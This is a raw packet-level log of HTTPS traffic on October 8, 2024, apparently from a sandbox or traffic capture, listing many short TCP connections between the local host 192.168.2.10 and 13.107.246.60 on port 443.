Oct 8, 2024 03:24:38.082039118 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.082051039 CEST	49898	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.082056046 CEST	443	49898	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.082957029 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.083003044 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.083018064 CEST	49900	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.083024979 CEST	443	49900	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.085604906 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.085633993 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.085700035 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.085828066 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.085840940 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.086502075 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.086556911 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.086627960 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.086766958 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.086781979 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.351166010 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.352117062 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.352133989 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.352601051 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.352606058 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.464883089 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.465462923 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.465476990 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.465934992 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.465941906 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.468724966 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.468734026 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.468780994 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.468800068 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.468843937 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.469099045 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.469111919 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.469135046 CEST	49901	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.469140053 CEST	443	49901	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.471968889 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.472008944 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.472111940 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.472260952 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.472274065 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.565085888 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.565257072 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.565331936 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.567955017 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.567987919 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.568005085 CEST	49902	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.568012953 CEST	443	49902	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.571047068 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.571088076 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.571180105 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.571357965 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.571372032 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.759462118 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.760296106 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.760332108 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.760726929 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.760732889 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.763173103 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.763468981 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.763494968 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.763818026 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.763823986 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868119001 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868189096 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868238926 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.868259907 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868309975 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868386030 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.868565083 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.868583918 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.868593931 CEST	49904	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.868598938 CEST	443	49904	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.871134043 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.871160030 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.871229887 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.871356964 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.871370077 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.872988939 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.873191118 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.873240948 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.873292923 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.873292923 CEST	49903	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.873315096 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.873322964 CEST	443	49903	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.875504017 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.875552893 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.875703096 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.875864029 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.875878096 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.905689955 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.912326097 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.912368059 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:38.912806988 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:38.912815094 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.007476091 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.007508039 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.007555008 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.007580042 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.007615089 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.007860899 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.007882118 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.007890940 CEST	49899	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.007895947 CEST	443	49899	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.010960102 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.010999918 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.011092901 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.011269093 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.011281013 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.174154043 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.174750090 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.174766064 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.175168037 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.175173044 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.226824999 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.227320910 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.227336884 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.227763891 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.227768898 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.278318882 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.278639078 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.278709888 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.278762102 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.278779984 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.278789997 CEST	49905	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.278796911 CEST	443	49905	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.281840086 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.281869888 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.281933069 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.282079935 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.282093048 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.326710939 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.326797962 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.326862097 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.327059984 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.327059984 CEST	49906	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.327070951 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.327080011 CEST	443	49906	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.330302954 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.330380917 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.330507994 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.330703974 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.330720901 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.470755100 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.471144915 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.471167088 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.471554995 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.471561909 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.564722061 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.565212011 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.565254927 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.565666914 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.565671921 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.568732977 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.569318056 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.569372892 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.569395065 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.569428921 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.569477081 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.569503069 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.569520950 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.569531918 CEST	49907	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.569536924 CEST	443	49907	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.572499990 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.572535038 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.572607994 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.572770119 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.572782040 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.668070078 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.668138981 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.668195963 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.668368101 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.668394089 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.668405056 CEST	49908	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.668411016 CEST	443	49908	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.670950890 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.670999050 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.671072960 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.671211958 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.671226978 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.680396080 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.680871010 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.680886984 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.681487083 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.681490898 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.785900116 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.785933018 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.785983086 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.786024094 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.786062956 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.786248922 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.786263943 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.786273003 CEST	49909	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.786277056 CEST	443	49909	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.788995028 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.789015055 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.789094925 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.789218903 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.789223909 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.927349091 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.927911997 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.927928925 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:39.928368092 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:39.928371906 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.008527994 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.009027958 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.009118080 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.009676933 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.009692907 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.033963919 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.034115076 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.034178972 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.034275055 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.034285069 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.034295082 CEST	49910	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.034301043 CEST	443	49910	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.036967993 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.036990881 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.037054062 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.037197113 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.037209988 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.107057095 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.107227087 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.107309103 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.107439041 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.107439041 CEST	49911	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.107491970 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.107522011 CEST	443	49911	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.111202955 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.111246109 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.111303091 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.111475945 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.111490011 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.249699116 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.250300884 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.250329971 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.250672102 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.250678062 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.346041918 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.346851110 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.346880913 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.347716093 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.347729921 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.373838902 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.373910904 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.373958111 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.373972893 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.374018908 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.374067068 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.378953934 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.378983021 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.378993988 CEST	49912	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.378998995 CEST	443	49912	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.395508051 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.395566940 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.395641088 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.395818949 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.395833015 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.398562908 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.398864985 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.398902893 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.399287939 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.399296045 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.446867943 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.446934938 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.447016001 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.447191954 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.447217941 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.447231054 CEST	49913	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.447237015 CEST	443	49913	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.449717045 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.449747086 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.449825048 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.449951887 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.449965000 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.538283110 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.538350105 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.538429022 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.598701954 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.598758936 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.598778009 CEST	49914	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.598784924 CEST	443	49914	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.601433992 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.601464987 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.601567030 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.601665974 CEST	49919	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.601674080 CEST	443	49919	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.733196020 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.737046957 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.737055063 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.740757942 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.740761995 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.825532913 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.826204062 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.826224089 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.826644897 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.826651096 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.850274086 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.850348949 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.850389004 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.850393057 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.850430012 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.850528002 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.850543022 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.850557089 CEST	49915	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.850562096 CEST	443	49915	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.854127884 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.854233980 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.854473114 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.854584932 CEST	49920	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.854617119 CEST	443	49920	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.925290108 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.926367998 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.926556110 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.926618099 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.926634073 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.926646948 CEST	49916	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.926651955 CEST	443	49916	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.929141998 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.929167032 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:40.929236889 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.929371119 CEST	49921	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:40.929383993 CEST	443	49921	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.073743105 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.074512005 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.074556112 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.074841976 CEST	49917	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.074850082 CEST	443	49917	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.117574930 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.118222952 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.118247986 CEST	443	49918	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:41.118617058 CEST	49918	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:41.118623018 CEST	443	49918	13.107.246.60	192.168.2.10
